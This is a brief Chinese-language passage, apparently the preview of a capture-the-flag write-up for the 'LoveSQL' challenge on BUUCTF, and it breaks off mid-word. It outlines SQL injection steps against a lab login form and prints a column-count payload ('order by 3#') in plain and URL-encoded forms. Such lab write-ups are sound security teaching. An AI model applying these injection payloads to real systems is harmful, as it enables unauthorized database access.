[极客大挑战 2019]LoveSQL 1

[极客大挑战 2019]LoveSQL 1 [目标] Sql注入 [环境] Buuctf [工具] 浏览器 [分析] 1.在账号密码框分别试数字或字母，引号都是返回一个结果 2.试一试万能密码 3.查询列数 Payload: username=1’ order by 3#&password=1 Url:1%27%20order%20by%203%23&password=1 Payload: use

>>阅读原文<<